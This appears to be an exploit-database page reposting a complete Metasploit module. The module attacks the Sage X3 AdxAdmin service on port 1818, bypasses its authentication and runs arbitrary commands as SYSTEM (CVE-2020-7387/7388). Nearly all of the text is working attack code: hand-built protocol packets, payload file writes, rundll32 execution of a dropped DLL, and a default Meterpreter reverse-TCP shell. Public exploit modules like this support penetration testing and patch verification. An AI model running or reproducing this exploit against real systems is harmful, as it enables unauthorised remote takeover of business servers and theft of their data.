Sage X3 Administration Service Authentication Bypass / Command Execution

2021.07.21
Credit: Aaron Herndon
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Sage X3 Administration Service Authentication Bypass Command Execution', 'Description' => %q{ This module leverages an authentication bypass exploit within Sage X3 AdxSrv's administration protocol to execute arbitrary commands as SYSTEM against a Sage X3 Server running an available AdxAdmin service. }, 'Author' => [ 'Jonathan Peterson <deadjakk[at]shell.rip>', # @deadjakk 'Aaron Herndon' # @ac3lives ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2021-07-07', 'References' => [ ['CVE', '2020-7387'], # Infoleak ['CVE', '2020-7388'], # RCE ['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/'] ], 'Privileged' => true, 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic', 'CMD' => 'whoami' } } ], [ 'Windows DLL', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Executable', { 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [FIRST_ATTEMPT_FAIL], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(1818) ] ) end def vprint(msg = '') print(msg) if datastore['VERBOSE'] end def check s = connect print_status('Connected') # ADXDIR command authentication header # allows for unauthenticated retrieval of X3 directory auth_packet = "\x09\x00" s.write(auth_packet) # recv response res = s.read(1024) if res.nil? || res.length != 4 print_bad('ADXDIR authentication failed') return CheckCode::Safe end if res.chars == ["\xFF", "\xFF", "\xFF", "\xFF"] print_bad('ADXDIR authentication failed') return CheckCode::Safe end print_good('ADXDIR authentication successful.') # ADXDIR command adx_dir_msg = "\x07\x41\x44\x58\x44\x49\x52\x00" s.write(adx_dir_msg) directory = s.read(1024) return CheckCode::Safe if directory.nil? sagedir = directory[4..-2] print_good(format('Received directory info from host: %s', sagedir)) disconnect CheckCode::Vulnerable(details: { sagedir: sagedir }) rescue Rex::ConnectionError CheckCode::Unknown end def build_buffer(head, sage_payload, tail) buffer = '' # do things buffer << head if head buffer << sage_payload.length buffer << sage_payload buffer << tail if tail buffer end def write_file(sock, filenum, sage_payload, target, sagedir) s = sock # building the initial authentication packet # [2bytes][userlen 1 byte][username][userlen 1 byte][username][passlen 1 byte][CRYPT:HASH] # Note: the first byte of this auth packet is different from the ADXDIR command revsagedir = sagedir.gsub('\\', '/') s.write("\x06\x00") auth_resp = s.read(1024) fail_with(Failure::UnexpectedReply, 'Directory message did not provide intended response') if auth_resp.length != 4 print_good('Command authentication successful.') # May require additional information such as file path # this will be used for multiple messages head = "\x00\x00\x36\x02\x00\x2e\x00" # head fmt = '@%s/tmp/cmd%s$cmd' fmt = '@%s/tmp/cmd%s.dll' if target == 'Windows DLL' fmt = '@%s/tmp/cmd%s.exe' if target == 'Windows Executable' pload = format(fmt, revsagedir, filenum) tail = "\x00\x03\x00\x01\x77" sendbuf = build_buffer(head, pload, tail) s.write(sendbuf) s.read(1024) # Packet --- 3 # Creating the packet that contains the command to run head = "\x02\x00\x05\x08\x00\x00\x00" # this writes the data to the .cmd file to get executed # a single write can't be larger than ~250 bytes # so writes larger than 250 need to be broken up written = 0 print_status('Writing data') while written < sage_payload.length vprint('.') towrite = sage_payload[written..written + 250] sendbuf = build_buffer(head, towrite, nil) s.write(sendbuf) s.recv(1024) written += towrite.length end vprint("\r\n") end def exploit sage_payload = payload.encoded if target.name == 'Windows Command' sage_payload = generate_payload_dll if target.name == 'Windows DLL' sage_payload = generate_payload_exe if target.name == 'Windows Executable' sagedir = check.details[:sagedir] if sagedir.nil? fail_with(Failure::NotVulnerable, 'No directory was returned by the remote host, may not be vulnerable') end if sagedir.end_with?('AdxAdmin') register_dir_for_cleanup("#{sagedir}\\tmp") end revsagedir = sagedir.gsub('\\', '/') filenum = rand_text_numeric(8) vprint_status(format('Using generated filename: %s', filenum)) s = connect write_file(s, filenum, sage_payload, target.name, sagedir) unless target.name == 'Windows Command' disconnect # re-establish connection after writing file s = connect end if target.name == 'Windows DLL' sage_payload = "rundll32.exe #{sagedir}\\tmp\\cmd#{filenum}.dll,0" vprint_status(sage_payload) write_file(s, filenum, sage_payload, nil, sagedir) end if target.name == 'Windows Executable' sage_payload = "#{sagedir}\\tmp\\cmd#{filenum}.exe" vprint_status(sage_payload) write_file(s, filenum, sage_payload, nil, sagedir) end # Some sort of delimiter delim0 = "\x02\x00\x01\x01" # bufm s.write(delim0) s.recv(1024) # Packet --- 4 sage_payload = "@#{revsagedir}/tmp/sess#{filenum}$cmd" head = "\x00\x00\x37\x02\x00\x2f\x00" tail = "\x00\x03\x00\x01\x77" sendbuf = build_buffer(head, sage_payload, tail) s.write(sendbuf) s.recv(1024) # Packet --- 5 head = "\x02\x00\x05\x08\x00\x00\x00" sage_payload = "@echo off\r\n#{sagedir}\\tmp\\cmd#{filenum}.cmd 1>#{sagedir}\\tmp\\#{filenum}.out 2>#{sagedir}\\tmp\\#{filenum}.err\r\n@echo on" sendbuf = build_buffer(head, sage_payload, nil) s.write(sendbuf) s.recv(1024) # Packet --- Delim s.write(delim0) s.recv(1024) # Packet --- 6 head = "\x00\x00\x36\x04\x00\x2e\x00" sage_payload = "#{revsagedir}\\tmp\\sess#{filenum}.cmd" tail = "\x00\x03\x00\x01\x72" sendbuf = build_buffer(head, sage_payload, tail) s.write(sendbuf) s.recv(1024) # if it's not COMMAND, we can stop here # otherwise, we'll send/recv the last bit # of info for the output unless target.name == 'Windows Command' disconnect return end # Packet --- Delim delim1 = "\x02\x00\x05\x05\x00\x00\x10\x00" s.write(delim1) s.recv(1024) # Packet --- Delim s.write(delim0) s.recv(1024) # The two below are directing the server to read from the .out file that should have been created # Then we get the output back # Packet --- 7 - Still works when removed. head = "\x00\x00\x2f\x07\x08\x00\x2b\x00" sage_payload = "@#{revsagedir}/tmp/#{filenum}$out" sendbuf = build_buffer(head, sage_payload, nil) s.write(sendbuf) s.recv(1024) # Packet --- 8 head = "\x00\x00\x33\x02\x00\x2b\x00" sage_payload = "@#{revsagedir}/tmp/#{filenum}$out" tail = "\x00\x03\x00\x01\x72" sendbuf = build_buffer(head, sage_payload, tail) s.write(sendbuf) s.recv(1024) s.write(delim1) returned_data = s.recv(8096).strip! if returned_data.nil? || returned_data.empty? disconnect fail_with(Failure::PayloadFailed, 'No data appeared to be returned, try again') end print_good('------------ Response Received ------------') print_status(returned_data) disconnect end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top